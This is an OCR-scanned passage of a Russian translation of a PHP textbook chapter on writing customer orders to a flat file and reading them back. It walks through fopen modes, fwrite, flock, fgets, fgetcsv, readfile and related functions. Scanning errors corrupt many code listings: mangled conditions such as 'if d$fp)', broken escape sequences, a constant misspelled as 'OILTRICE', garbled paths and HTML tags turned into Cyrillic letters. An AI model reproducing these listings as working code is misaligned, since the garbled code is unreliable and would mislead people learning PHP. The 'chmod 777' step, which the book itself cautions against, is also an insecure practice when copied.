Данная структура служит для установки директив выполнения некоторого блока кода, т.е. правил, в соответствие с которыми будет запускаться определенный код. В настоящее время реализована только одна директива выполнения, называемая ticks. Ее можно установить, указав в качестве аргумента директива конструкцию ticks=n. Эта директива позволяет выполнять заданную функцию через каждых п строк кода внутри блока, что является исключительно полезным для целей профи- лирования и отладки. Управляющая структура declare упомянута здесь только ради полноты. Некоторые примеры использования функций ticks будут рассмотрены в главах 25 и 26. Что дальше Теперь вы уже знаете, как получить заказ клиента и как им манипулировать. В следующей главе мы рассмотрим вопросы сохранения заказа с тем, чтобы позже его можно было извлечь и доставить заказанную в нем продукцию. 78 Часть I. Использование РНР
Хранение и выборка данных Теперь, когда вы научились получать доступ и манипулировать данными, вве- денными пользователем в HTML-форму, можно приступать к рассмотрению способов сохранения этой информации с целью будущего ее использования. В боль- шинстве случаев, включая и пример, рассмотренный в предыдущей главе, данные не- обходимо сохранять, а затем выбирать. В рассматриваемом случае нужно записывать заказы клиентов в память, чтобы позднее их можно было обслужить. В этой главе мы рассмотрим, как клиентский заказ из предыдущего примера сна- чала записать в файл, а затем прочитать оттуда. Мы узнаем также, почему это реше- ние не всегда является наилучшим. При наличии большого количества заказов необ- ходимо пользоваться системой управления базами данных, такой как MySQL. В этой главе будут рассмотрены следующие темы. Сохранение данных для дальнейшего их использования. Открытие файла. Создание файла и запись в файл. Закрытие файла. Чтение из файла. Блокировка файлов. Удаление файлов. Другие полезные файловые функции. Более рациональный способ обработки: системы управления базами данных. Сохранение данных для дальнейшего их использования Существуют два основных способа хранения данных: в двумерных (“плоских”) файлах и в базах данных. Двумерный файл может иметь множество форматов, но в общем случае под двумер- ным, или обычным (flat) файлом мы будем понимать простой текстовый файл. Глава 2. Хранение и выборка данных 79
В рассматриваемом ниже примере заказы клиентов записываются в текстовый файл, по одному заказу в каждой строке. Этот способ весьма прост, но, как будет показано далее в этой главе, довольно ограничен. Если вам приходится иметь дело с информацией существенного объема, вы, скорее всего, отдадите предпочтение какой-то базе данных. Тем не менее, двумер- ные файлы находят достаточно широкое применение, поэтому в некоторых случаях нужно знать, как ими пользоваться. Запись и чтение из файлов очень похожи во многих языках программирования. Если вам уже доводилось программировать на языке С или создавать командные сце- нарии в UNIX, то этот процесс должен быть хорошо знаком. Сохранение и выборка заказов в компании “Автозапчасти от Вована” В этой главе будет использоваться форма заказа, несколько отличная от той, что рассматривалась в предыдущей главе. Мы начнем с этой формы и с PHP-кода, создан- ного для обработки данных заказа. На заметку! Используемый в этой главе HTML- и PHP-код можно найти в папке chapter02 внутри загружае- мого кода. Мы изменили форму, включив в нее адрес доставки товара. Этот вариант формы показан на рис. 2.1. Ffe £cfit History gookmarks Tods Help • (2? ] ht^://ba®xstA)hpn'ysd/02/orderfi3nn.htorf Товар Покрышки Масло Свечи зажигания Адрес доставки Количество Отправить заказ I Рис. 2.1. Версия формы заказа с адресом доставки товара Поле формы, предназначенное для ввода адреса доставки, имеет имя address. В результате мы получаем переменную, к которой в PHP-коде можно обращаться как к $_REQUEST [ ’ address ’ ], $_POST [ ’ address ’ ] либо $_GET [' address ’ ], в зависимости от метода отправки данных формы. (Подробнее см. в главе 1.) Все поступающие заказы записываются в один и тот же файл. Позже мы создадим веб-интерфейс, чтобы служащие компании “Автозапчасти от Вована” смогли просмат- ривать полученные заказы. 80 Часть I. Использование РНР
Обработка файлов Чтобы записать данные в файл, необходимо выполнить следующие три действия. 1. Открыть файл. Если файл еще не существует, его нужно создать. 2. Записать данные в файл. 3. Закрыть файл. Аналогично, чтобы прочитать данные из файла, необходимо также выполнить три действия. 1. Открыть файл. Если файл открыть невозможно (например, он не существует), эту ситуацию необходимо распознать и предусмотреть корректное ее разрешение. 2. Прочитать данные из файла. 3. Закрыть файл. Если вы собираетесь читать данные из файла, то должны выбрать, какую часть файла следует прочитать за один раз. Ниже мы рассмотрим все эти действия более подробно. Начнем с рассмотрения процедуры открытия файла. Открытие файла Для открытия файла в РНР служит функция f open (). При этом необходимо ука- зать, как файл будет использоваться. Этот способ использования носит название режима файла (file mode). Режимы файлов Операционная система, установленная на сервере, должна знать, что вы намерены делать с открываемым файлом. Она должна знать, может ли соответствующий файл быть открыт другим сценарием в то время, когда он уже открыт вашим сценарием, и есть ли у вас (либо владельца сценария) права на подобное его использование. По сути, режимы файла предоставляют операционной системе механизм выбора спосо- ба обработки запросов на доступ, поступающих от других пользователей или сцена- риев, а также метода проверки, имеете ли вы доступ и право на работу с конкретным файлом. Открывая файл, следует учитывать три момента. 1. Файл можно открыть только для чтения, только для записи или для чтения и записи. 2. При выполнении записи в файл можно перезаписывать любое существующее со- держимое файла либо добавлять новые данные в конец файла. Может также воз- никать необходимость аккуратно завершить программу, не перезаписывая файл, если он существует. 3. При попытке записи в файл в системе, где есть различие между бинарными и тек- стовый. л файлами, возможно, потребуется указать тип файла. Функция f open () поддерживает любые комбинации трех упомянутых вариантов. Глава 2. Хранение и выборка данных 81
Использование функции fopen () для открытия файла Предположим, что требуется сохранить заказ клиента в файле заказов компании “Автозапчасти от Вована”. Этот файл можно открыть для записи с помощью следую- щего оператора: $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ’w'); При вызове функции fopen () необходимо передать два, три или четыре па- раметра. Обычно используются два параметра, как показано в приведенной выше строке кода. Первым параметром должен быть файл, который нужно открыть. При этом мож- но указать путь к файлу, как было сделано в приведенной выше строке кода — файл orders.txt находится в каталоге orders. Мы использовали встроенную РНР-пере- менную $_SERVER [ ’ DOCUMENT ROOT ’ ], но поскольку полные имена переменных слиш- ком громоздкие, ей было присвоено короткое имя. Эта переменная указывает на корень дерева документов вашего веб-сервера. Кроме того, с помощью символа . . обозначен “родительский каталог корневого каталога документов”. В целях безопасности этот каталог находится вне дерева документов. Мы не хотим, чтобы этот файл был доступен в Интернете, кроме как только через предоставляемый нами интерфейс. Этот путь называется относительным, поскольку он описывает позицию в файловой системе относительно корня дерева документов. Как и в случае коротких имен для переменных формы, в начале сценария должна находиться следующая строка: $DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT']; которая скопирует содержимое переменной длинного стиля в переменную короткого стиля. Подобно тому, как существуют различные способы доступа к данным формы, точ- но так же существуют различные способы доступа к предопределенным серверным переменным. В зависимости от настройки вашего сервера (см. главу 1), вы можете по- лучить доступ к корню дерева документов, воспользовавшись следующими именами: $_SERVER[’DOCUMENT_ROOT'] $DOCUMENT_ROOT $НТТР_SERVER—VARS[’DOCUMENT—ROOT’] Как и для данных формы, первый стиль является наиболее предпочтительным. Вы можете также задать абсолютный путь к файлу. Этот путь ведет от корневого каталога (/в системе UNIX и, как правило, С:\ в системе Windows). На используе- мом нами сервере на базе UNIX таким путем будет что-то вроде /home/book/orders. Проблема, связанная с подобным представлением пути, особенно если вы размещае- те собственный сайт на чужом сервере, заключается в том, что абсолютный путь мо- жет меняться. Мы однажды убедились в этом на собственном горьком опыте после того, как пришлось изменять абсолютные пути во множестве сценариев, когда сис- темные администраторы приняли “безобидное” решение без предупреждения изме- нить структуру каталогов. Если путь не указан, система создаст файл или будет его искать в том же каталоге, в котором находится сам сценарий. Действия системы будут иными, если среда РНР функционирует в рамках той или иной оболочки CGI (Common Gateway Interface — общий шлюзовой интерфейс) и зависит от конфигурации сервера: 82 Часть I. Использование РНР
В среде UNIX в качестве разделителя каталогов используется прямой слеш (/). На Windows-платформах можно применять как прямой, так и обратный слеш (\). Если вы используете обратный слеш, то его следует литерализовать (пометить как специаль- ный символ), чтобы функция fopen смогла правильно его интерпретировать. Для это- го перед ним достаточно просто поместить еще один обратный слеш, например, так: $fp = fopen("$DOCUMENT_ROOT\\..\\ordersWorders.txt", 'w'); Обратный слеш в пути применяют лишь очень немногие программисты, посколь- ку в результате код сможет функционировать только в Windows-средах. А если исполь- зовать прямой слеш, то код может свободно работать в любой среде. Второй параметр функции f open () — это режим файла, который должен иметь строковый тип. Передаваемая функции строка указывает, что вы намерены делать с файлом. В данном случае в функцию fopen () передается параметр ’w’, что означает открытие файла для записи. Режимы файла перечислены в табл. 2.1. Таблица 2.1. Режимы файла для функции fopen () Режим Значение г Режим чтения. Открывает файл для чтения, начиная с начала файла. г+ Режим чтения. Открывает файл для чтения и записи, начиная с начала файла. W Режим записи. Открывает файл для записи, начиная с начала файла. Если файл уже су- ществует, его содержимое удаляется. Если файл не существует, пытается его создать. W+ Режим записи. Открывает файл для записи и чтения, начиная с начала файла. Если файл уже существует, его содержимое удаляется. Если файл не существует, пыта- ется его создать. X Режим осторожной записи. Открывает файл для записи, начиная с начала фай- ла. Если файл уже существует, он не открывается, fopen () возвращает значение false, а РНР генерирует предупреждение. х+ Режим осторожной записи. Открывает файл для записи и чтения, начиная с начала файла. Если файл уже существует, он не открывается, fopen () возвращает значе- ние false, а РНР генерирует предупреждение. а Режим добавления. Открывает файл только для добавления (записи), начиная с конца существующего содержимого, если таковое имеется. Если файл не сущест- вует, пытается его создать. а+ Режим добавления. Открывает файл для добавления (записи) и чтения, начиная с конца существующего содержимого, если таковое имеется. Если файл не сущест- вует, пытается его создать. Ь Бинарный режим. Используется в сочетании с одним из остальных режимов. Вы можете воспользоваться этим режимом в тех случаях, когда файловая система различает бинарные и текстовые файлы. Операционная система Windows различает эти файлы, a UNIX — нет. Разработчики РНР,рекомендуют всегда указывать этот режим для максимальной переносимости. Используется по умолчанию. t Текстовый режим. Используется в сочетании с одним из остальных режимов. Этот режим актуален только для Windows-систем. Применять его не рекомендуется за исключением переноса существующего кода с опцией ь. В рассматриваемом примере используемый режим файла зависит от того, как предполагается использовать систему. Выше была выбрана строка ’ w', которая по- зволяет записать в файл только один заказ. При приеме каждого нового заказа он Глава 2. Хранение и выборка данных 83
будет перезаписывать ранее сохраненный заказ. Скорее всего, это не совсем разум- ное решение, поэтому целесообразно установить режим дописывания (и, как реко- мендуется, бинарный режим): $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'ab'); Третий параметр функции fopen () является необязательным. Вы можете восполь- зоваться этим параметром, если требуется искать файл с помощью include path (на- стройка конфигурации РНР; см. приложение А). Если это так, установите значение третьего параметра равным true. В этом случае отпадает необходимость задавать имя каталога или путь: $fp = fopenCorders.txt", 'ab', true); Четвертый параметр функции fopen () также необязательный. Функция fopen () позволяет предварять имена файлов наименованием протокола (таким как http://) и открывать их в удаленных местоположениях. Некоторые протоколы допускают до- полнительный параметр. Примеры такого применения функции fopen () рассматри- ваются в следующем разделе этой главы. Когда функции fopen () успешно открывает файл, она возвращает дескриптор или указатель на файл и сохраняет его в специальной переменной, в данном случае $fp. Эта переменная впоследствии используется для доступа к файлу, когда необходимо выполнить чтение или запись. Открытие файлов через FTP или HTTP С помощью функции fopen () можно открывать для чтения или записи не толь- ко локальные файлы, но и удаленные; при этом используются протоколы FTP (File Transfer Protocol — протокол передачи файлов) и HTTP (Hypertext Transfer Protocol — протокол передачи гипертекста). Данную возможность можно запретить, отключив директиву allow url fopen в файле php.ini. Если возникают проблемы при открытии удаленных файлов с помощью fopen (), просмотрите существующий файл php. ini. Если используемое имя файла начинается с ftp://, открывается FTP-соединение в пассивном режиме с указанным сервером, и возвращается указатель на начало файла. Если используемое имя файла начинается с http://, открывается НТТР-соедине- ние с указанным сервером, и возвращается указатель на ответ от сервера. В случае применения режима HTTP в старых версиях РНР обязательно следует указывать за- вершающие символы косой черты в именах каталогов, т.е. http://www.example.сот/ но не http://www.example.сот При указании второй формы адреса (без завершающей косой черты) веб-сервер обычно использует HTTP-перенаправление, чтобы направить вас по первому адресу (с косой чертой). Проверьте это в своем браузере. Помните, что имена доменов в URL-адресах нечувствительны к регистру, в то вре- мя как пути и имена файлов могут зависеть от регистра. Возможные проблемы при открытии файлов Типичная ошибка, которую вы можете совершить при открытии файла, — это отсутствие разрешения на чтение этого файла или на запись в него. (Как правило, 84 Часть]. Использование РНР
данная ошибка возникает в средах Unix-подобных операционных систем, хотя иногда с ней можно столкнуться и в Windows-средах.) В такдм случае РНР выводит соответ- ствующее предупреждение, подобное показанному на рис. 2.2. Рис. 2.2. В случае, когда файл открыть невозможно, РНР выдает соответствующее предупреждение В случае* получения подобного сообщения об ошибке необходимо убедиться, име- ет ли пользователь, от имени которого выполняется сценарий, право доступа к фай- лу, которым вы пытаетесь воспользоваться. В зависимости от настройки сервера, сце- нарий может выполняться либо от имени пользователя веб-сервера, либо от имени владельца каталога, в котором хранится сценарий. В большинстве систем сценарий выполняется под именем пользователя веб-сер- вера. Если сценарий находится в каталоге системы UNIX, например, -/public_html/ chapter02/, то можно создать общедоступный для записи каталог для хранения в нем заказов, набрав следующие команды: mkdir -/orders chmod 777 -/orders Имейте в виду, что каталоги, в которых любой пользователь может записать все, что угодно, несут в себе потенциальную опасность. У вас не должно быть каталогов, которые доступны для записи непосредственно из среды Интернет. Именно по этой причине наш каталог orders размещается на два подкаталога выше катало- га public html. Подробнее вопросы безопасности рассматриваются в главе 15. Некорректные настройки прав доступа, по-видимому, представляют собой наибо- лее часто встречающуюся ошибку во время открытия файла, однако она далеко не единственная. Если файл не может быть открыт, то вы должны об этом знать, чтобы не предпринимать дальнейших попыток считывать из него или записывать в него данные. Если вызов функции fopen () завершается неудачей, она возвращает значение false. Глава 2. Хранение и выборка данных 85
Обработку ошибок можно сделать более удобной для пользователя, для чего по- требуется подавить сообщение об ошибке от РНР и вывести собственное, более ос- мысленное сообщение: @ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'ab'); if d$fp) { echo "<p><strong>B настоящий момент ваш запрос не может быть обработан. " . "Пожалуйста, попытайтесь позже. </strong></pX/bodyX/htinl>"; exit; } Символ @ перед обращением к функции fopen () указывает РНР на необходимость подавления любых сообщений об ошибках, генерируемых по результатам вызова функ- ции. Всегда полезно знать, по какой причине что-то выполняется неправильно, но в рассматриваемом случае^ мы с этой проблемой будем разбираться в другом месте. Первую строку можно записать и в следующем виде: $fp = @fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'ab'); Однако такая форма записи делает ее менее понятной, к тому же затрудняется отладка кода. Описанный метод представляет собой простейший способ обработки ошибок. Более подробно обработка ошибок рассматривается в главе 7. Оператор if проверяет переменную $fp с целью выяснения, возвратила ли функ- ция fopen () допустимый указатель файла; если это не так, выводится сообщение об ошибке, после чего выполнение сценария завершается. Поскольку здесь завершается и страница, обратите внимание на закрывающие HTML-дескрипторы, обеспечиваю- щие получение правильного HTML-кода. Вывод, полученный в результате использования изложенного выше подхода, по- казан на рис. 2.3. Ф Автозапчасти от Вована -Результаты заказа MozSa firefox ; ЕЙ Miew Hgtor goobtarks Tools _Bp | » 0 „ http st/phpmysqi 02/processorder.php •/.- - | Автозапчасти от Вована Результаты заказа : Заказ обработан в 10:42г 26th February 2009 ; Заказано товаров: 12 - 2 покрышек 4 бутылок масла J 6 свечей зажигания ! Итого: $264.00 ; Адрес доставки: ул. Гудвина. 12. г. Изумрудный ? В данный момент мы не можем обработать ваш заказ. Попробуйте ! повторить его позже. : Done . , д Рис. 2.3. Использование собственных сообщений об ошибках вместо генерируемых РНР позволяет получить более дружественный интерфейс 86 Часть I. Использование РНР
Запись в файл Запись в файл в РНР выполняется сравнительно просто. Для этого можно вос- пользоваться функцией fwrite О (“file write” — “запись в файл”) или fputs О (“file put string” — “запись строки в файл”); fputs () — это псевдоним fwrite (). Функция fwrite () вызывается следующим образом: fwrite($fp, $outputstring); Этот вызов указывает РНР на необходимость записи строки из переменной $outputstring в файл, на который указывает $fp. Новой альтернативой fwrite () является функция file put contents (), которая имеет следующий прототип: int file_put_contents ( string filename, string data [, int flags [, resource context]]) Эта функция записывает строку, передаваемую в параметре data, в файл с именем filename без необходимости его открытия и закрытия с помощью функций fopen () и f close (). Функция появилась в РНР 5 и к ней имеется связанная функция file_ get contents (), которая будет обсуждаться далее. Необязательные параметры flags и context используются, в основном, для записи в удаленные файлы с помощью, на- пример, HTTP или FTP. (Упомянутые выше функции подробно рассматриваются в главе 20.) Параметры функции fwrite () Фактически функция fwrite () принимает три параметра, при этом третий из них является необязательным. Прототип функции fwrite () имеет следующий вид: int fwrite(resource handle, string string [, int length]) Третий параметр length задает максимальное количество записываемых байтов. Если этот параметр присутствует в вызове функции fwrite (), она будет записывать строку string в файл, на который указывает параметр handle, до тех пор, пока не достигнет конца строки или не запишет length байт, в зависимости от того, что про- изойдет раньше. Длину строки в РНР можно получить с помощью встроенной функции strlen (): fwrite($fp, $outputstring, strlen($outputstring)); Третий параметр может понадобиться при записи в бинарном режиме, поскольку он помогает избежать некоторых проблем несовместимости между платформами. Форматы файлов Когда вы создаете файл данных, подобный используемому в нашем примере, вы- бор формата, в котором данные будут храниться, целиком зависит от вас. (Тем не ме- нее, если вы планируете использовать файл данных в другом приложении, возможно, придется учесть особенности интерпретации данных в этом приложении.) Сейчас необходимо создать строку, которая представляет одну запись в нашем файле данных. Это можно сделать следующим образом: Глава 2. Хранение и выборка данных 87
$outputstring = $date."\t".$tireqty." покрышек\1" .$oilqty." бутылок масла\t" . $sparkqty. " свечей зажигания\1\$" .$total."\t".$address."\n"; В этом простом примере каждая запись заказа сохраняется в отдельной строке файла. В таком случае в качестве простого разделителя записей используется символ новой строки. Поскольку символы новой строки невидимы, мы представляем их в виде управляющей последовательности "\п". В данной книге поля данных будут всегда записываться в одном и том же поряд- ке, а в качестве разделителя полей используется символ табуляции. Поскольку и этот символ невидим, он также будет представлен управляющей последовательностью "\t". В качестве разделителя можно использовать любой легко читаемый признак. Разделителем, или ограничителем, должна быть подстрока, которая наверняка не будет встречаться в исходных данных, иначе придется подвергнуть исходные данные дополнительной обработке с целью удаления или преобразования всех вхождений такого ограничителя. Обработка пользовательского ввода рассматривается в главе 4. Пока же предположим, что никто не будет вводить символы табуляции в будущую форму заказа. Поместить символы табуляции или новой строки в однострочное HTML-поле ввода хоть и трудно, но отнюдь не невозможно. Использование специального разделителя полей упрощает разделение данных на отдельные переменные во время их чтения. Подробнее этот вопрос рассматривается в главах 3 и 4. Пока же каждый заказ мы будем рассматривать как отдельную строку. После обработки нескольких заказов содержимое файла может выглядеть пример- но так, как показано в листинге 2.1. Листинг 2.1. Файл orders. txt — пример содержимого файла заказов 10:30, 20th June 4 покрышек 1 масла 6 свечей $434.00 ^>ул. Гудвина, 12, г. Изумрудный 10:42, 20th June 1 покрышек 0 масла 0 свечей $100.00 ^>пр. Незнайки, 34, г. Солнечный 11:43, 20th June 0 покрышек 1 масла 4 свечей $26.00 ^>пер. Поттера, 56, пгт Хогвартс Закрытие файла По завершении использования файла его следует закрыть. Для этой цели служит функция fclose () (“file close” — “закрыть файл”), вызов которой показан ниже: fclose($fp); Эта функция возвращает значение true в случае успешного закрытия файла и false, если что-то этому помешало. Вероятность ошибки при этом намного меньше, чем при открытии файла, поэтому в данном случае мы решили не производить про- верку результата ее выполнения. Полная версия сценария processorder. php приведена в листинге 2.2. Листинг 2.2. processorder.php — финальная версия сценария обработки заказа <?php // создание коротких имен переменных $tireqty = $_POST['tireqty']; $oilqty = $_POST['oilqty']; $sparkqty = $_POST['sparkqty'] ; 88 Часть I. Использование PHP
$address = $_POST['address ’ ] ; $DOCUMENT—ROOT = $_SERVER['DOCUMENT_ROOT']; $date = date (' H: i, j S F Y') ; <html> <head> <title>ABT03an4acTH от Вована - Результаты 3aKa3a</title> </head> <body> <Ь1>Автозапчасти от Вована</Ы> <Ь2>Результаты заказа</Ь2> <?php echo "<р>3аказ обработан в ".$date."</р>"; $totalqty = $tireqty + $oilqty + $sparkqty; echo "Заказано товаров: ".$totalqty."<br />"; if ($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<br />"; } else { if ($tireqty > 0) { echo $tireqty." покрышек <br />"; } if ($oilqty > 0) { echo $oilqty." бутылок масла<Ьг />"; } if ($sparkqty >0) { echo $sparkqty." свечей зажигания<br />"; } } define('TIREPRICE', 100); define('OILTRICE', 10); define('SPARKPRICE', 4) ; $totalamount = $tireqty * TIREPRICE + $oilqty * OILPRICE + $sparkqty * SPARKPRICE; $ totalamount = number_f ormat ($totalamount, 2, ' '); echo "<р>Итого по заказу: $".$totalamount."</p>"; echo "<р>Адрес доставки: ".$address."</p>"; $outputstring = $date."\t".$tireqty." покрышек\Ь" . $oilqty." маслаЧ" . $sparkqty. " свечей\ь\$" . $totalamount."\t".$address."\n"; / / открываем файл для дозаписи @ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'ab'); if d$fp) { echo "<p><strong>B данный момент мы не можем обработать ваш .заказ. " . "Попробуйте повторить его позже.</strong></p></bodyX/html>"; exit; } flock($fp, LOCK_EX); fwrite($fp, $outputstring, strlen($outputstring)); flock($fp, LOCK_UN); fclose($fp); echo "<р>3аказ записан.</p>"; ?> </body> </html> Глава 2. Хранение и выборка данных 89
Считывание из файла Уже сейчас клиенты компании “Автозапчасти от Вована” могут отправлять свои заказы через Интернет, однако если сотрудники компании Вована захотят просмот- реть заказы, им придется открывать файлы самостоятельно. Давайте создадим веб-интерфейс, который позволит служащим компании “Автозапчасти от Вована” легко читать файлы. Код такого интерфейса приведен в листинге 2.3. Листинг 2.3. vieworders.php — интерфейс персонала для просмотра файла заказов <?php //создание короткого имени переменной $DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT']; ?> <html> <head> <Д1Д1е>Автозапчасти от Вована — Заказы клиентов</11Ь1е> </head> <body> <Ы>Автозапчасти от Вована</Ы> <Ъ2>Заказы клиентов</Ь2> <?php @ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'rb'); if (!$fp) { echo "<p><strong>HeT необработанных заказов. Загляните позже.</strong></p>"; exit; } while (!feof($fp)) { $order= fgets($fp, 999); echo $order."<br />"; } fclose($ fp); ?> </body> </html> В этом сценарии выполняется последовательность действий, которая упоминалась выше: открытие файла, чтение из файла, закрытие файла. Вывод, генерируемый этим сценарием с использованием файла данных из листинга 2.1, показан на рис. 2.4. Теперь подробно рассмотрим функции, используемые в этом сценарии. Открытие файла для чтения: функция fopen () И снова мы открываем файл с помощью функции fopen (). На этот раз файл от- крывается только для чтения, поэтому используется режим файла ’ г ’: $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ’rb'); 90 Часть I. Использование PHP
^Автозапчасгмотйомка-Заказыкмкжтов HozifeFirefox : Re gdit ^ew Hstory gpokmaris Tods Hdp ДЙЬ-- -.<* 0 X uj hfip:/$oa#xj5t£h»B¥s^ V ’ ? Автозапчасти от Вована Заказы клиентов 12:33, 26th February 2009 4 покрышек 1 масла 6 свечей $434.00 ул. Гудвина, 12, г. Изумрудный 12:33, 26th February 2009 1 покрышек 0 масла 0 свечей $100.00 пр. Незнайки, 34, г. Солнечный 12:34, 26th February 2009 0 покрышек 1 масла 4 свечей $26.00 пер Поттера 56, пгт Хогвартс Done Рис. 2.4. Сценарий vieworders. php отображает в окне браузера все заказы, которые на данный момент сохранены в файле orders. txt Как узнать, где остановиться: функция feof () В этом примере мы используем цикл while для чтения из файла до тех пор, пока не будет достигнут конец файла. Цикл while проверяет, достигнут ли конец файла, с помощью функции feof (): while (!feof($fр)) Функция feof () принимает один параметр — дескриптор файла. Она возвращает значение true, если указатель файла находится в конце файла. И хотя имя функции может показаться странным, его легко запомнить, если знать, что feof означает File End Of File -(“файл: конец файла”). В данном случае (и вообще при чтении из файла) считывание продолжается до тех пор, пока не будет достигнут символ EOF. Построчное чтение: функции fgets (), fgetss () и fgetcsvQ В рассматриваемом примере для считывания из файла используется функция fgets (): $order = fgets($fp, 999); Эта функция используется для чтения из файла строк по одной за раз. В данном случае считывание будет выполняться до тех пор, пока не встретится символ новой строки (\п), символ EOF или из файла не будут прочитаны 998 байт. Максимальная длина считываемой строки равна указанной длине минус 1 байт. Существует много различных функций, которые используют для чтения файлов. Функция fgets () полезна при работе с файлами, содержащими обычный текст, кото- рый требуется обрабатывать по частям. Интересной разновидностью функции fgets () является функция fgetss (), имеющая следующий прототип: string fgetss(resource fpr int length, string [allowable_tags]); Эта функция во многом подобна функции fgets () и отличается от нее только тем, что она удаляет любые РНР- и HTML-дескрипторы, обнаруженные в строке. Глава 2. Хранение и выборка данных 91
Если вы хотите сохранить в файле какие-то конкретные дескрипторы, их следует по- местить в строку разрешенных дескрипторов allowable_tags. Функцию fgetssO следует использовать для достижения большей безопасности во время чтения файла, записанного кем-либо другим или содержащего данные, введенные пользователем. Включение в файл HTML-кода без каких-либо ограничений может привести к нару- шению тщательно спланированного форматирования. Отсутствие ограничений на наличие в файле PHP-кода может предоставить злонамеренному пользователю прак- тически полную свободу действий на вашем сервере. Функция fgetcsv() представляет собой еще одну разновидность функции fgets (). Она имеет следующий прототип: array fgetcsv(resource fp, int length [, string delimiter [, string enclosure]]); Эта функция разбивает строки файлов при использовании некоторого символа в качестве разделителя, например, табуляции (как предлагалось ранее) или запя- той (которая обычно применяется в электронных таблицах и других приложениях). Если требуется восстановить переменные заказа по отдельности, а не иметь дело со строкой текста, следует прибегнуть к услугам функции f get csv (). Она вызывается примерно так же, как и функция fgets (), но ей необходимо передать разделитель, который служит разделителем полей. Например, оператор • $order = fgetcsv($fp, 100, "\t"); извлекает строку из файла и разделяет ее при каждом обнаружении символа табуляции (\t). Полученные при этом строки помещаются в массив (в данном примере это мас- сив $order). Более подробно массивы рассматриваются в главе 3. Параметр длины length должен быть больше длины самой длинной строки счи- тываемого файла, выраженной в символах. Параметр вложения enclosure используется для описания символов, в которые заключаются каждое поле в строке. Если эти символы не заданы, по умолчанию при- нимается символ " (двойные кавычки). Чтение всего файла: функции readfile (), fpassthru () и file () Вместо чтения по одной строке из файла за раз можно прочитать весь файл как единое целое. Существуют четыре способа выполнения такого считывания. Первый способ предусматривает использование функции readfile (). Весь приве- денный выше сценарий можно заменить одной строкой: readfile("$DOCUMENT_ROOT/../orders/orders.txt"); Обращение к функции readfile () открывает файл, отображает его содержимое в стандартном выводе (окне браузера), а затем закрывает файл. Прототип этой функ- ции readfile () выглядит следующим образом: int readfile(string filename[f int use_include_path[, resource context]]); Необязательный второй параметр use_include_path указывает, должен ли РНР при поиске файла использовать путь, хранящийся в include_path, и действует так же, как и в функции fopen (). Третий необязательный параметр context использует- ся, только если файл открыт удаленно, например, через HTTP; такое использование этой функции будет рассмотрено в главе 20. Функция readfile () возвращает общёе количество байт, считанных из файла. 92 Часть I. Использование РНР
Второй способ предполагает применение функции fpassthru(^. Сначала необхо- димо открыть файл с помощью функции fopen (). Затем можно передать указатель файла в функцию fpassthru (), которая загрузит содержимое файла, начиная с пози- ции, заданной указателем, в стандартный вывод. По окончании этой операции функ- ция закрывает файл. Представленный выше сценарий можно заменить функцией fpassthru () следующим образом: $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'rb'); fpassthru ($fp); Функция fpassthru () возвращает значение true, если чтение прошло успешно, и false — в противном случае. Третья возможность считывания всего файла предусматривает использование функ- ции file (). Эта функция идентична функции readfile () за исключением того, что вместо отображения файла в стандартном выводе она преобразует его в массив. Более подробно данная функция будет рассматриваться во время изучения массивов в главе 3. А пока просто отметим, что эту функцию можно вызвать следующим образом: $filearray = file("$DOCUMENT_ROOT/../orders/orders.txt"); Эта строка приведет к считыванию всего файла в массив с именем $ filearray. Каждая строка файла сохраняется в отдельном элементе этого массива. Обратите внимание, что эта функция не является безопасной в отношении бинарных файлов в устаревших версиях РНР. В качестве четвертого варианта можно воспользоваться функцией file_get_ contents (). Эта функция идентична функции readfile () за исключением того, что она возвращает содержимое файла в виде строки вместо того, чтобы выводить его в окно браузера. Чтение символа: функция fgetc () Еще одна возможность обработки файлов состоит в чтении из файла по одному символу за раз. Это реализуется с помощью функции fgetcO (“file get character” — “получить символ из файла”). В качестве своего единственного параметра она при- нимает указатель файла и возвращает следующий символ из файла. Цикл while в нашем первоначальном сценарии можно заменить циклом, в котором используется функция fgetc(): while (!feof($fp)) { $char = fgetc($fp); if (!feof($fp)) echo ($char=="\n" ? "<br />" : $char) ; } С помощью функции fgetc () этот код считывает из файла по одному символу за раз и сохраняет его в переменной $char, пока не будет достигнут конец файла. Затем выполняется небольшая дополнительная обработка с целью замены текстовых симво- лов конца строки \п HTML-разделителями строк <br />. Это делается лишь для хорошего форматирования. Если попытаться вывести файл в браузере с символами новой строки между записями, весь файл будет пред- ставлен в виде одной строки. (Попытайтесь сделать это и посмотрите, что получит- ся.) Веб-браузеры не отображают пробельные символы наподобие символов новой строки, поэтому они должны заменяться HTML-дескрипторами, в частности, <br />. Для изящного решения данной задачи используется тернарная операция. Глава 2. Хранение и выборка данных 93
Незначительный побочный эффект использования функции fgetc() вместо функции fgets () заключается в том, что fgetc () будет возвращать символ EOF, в то время как fgets () этого не делает. После чтения символа приходится снова прове- рять feof (), поскольку символ EOF в окне браузера отображаться не должен. В общем случае считывание файла символ за символом не оправдано, если только по какой-либо особой причине не требуется посимвольная обработка файла. Чтение строк произвольной длины: функция fread() Последний способ чтения из файла предусматривает использование функции f read (), которая читает из файла произвольное количество байт. Эта функция имеет следующий прототип: string fread(resource fp, int length); Функция считывает length байт или все байты до конца файла — в зависимости от того, что произойдет раньше. Другие полезные файловые функции Существует ряд других файловых функций, которые иногда могут оказаться полез- ными. Все они описываются в последующих разделах. Проверка, существует ли файл: функция file_exists () Если необходимо проверить, существует ли тот или иной файл, не открывая его, можно воспользоваться функцией file exists (), как показано в следующем примере: if (file_exists ("$DOCUMENT_ROOT/ . ./orders/.orders. txt") ) { echo 'Имеются заказы, ожидающие обработки.'; } else { • echo 'В настоящий момент заказов нет. } Выяснение размера файла: функция filesize () Размер файла можно определить с помощью функции filesize (): echo filesize("$DOCUMENT_ROOT/../orders/orders.txt"); Она возвращает размер файла, выраженный в байтах. Эта функция может приме- няться в сочетании с функцией f read () для считывания всего файла (или некоторой его части). Весь разработанный нами выше сценарий можно заменить следующим кодом: 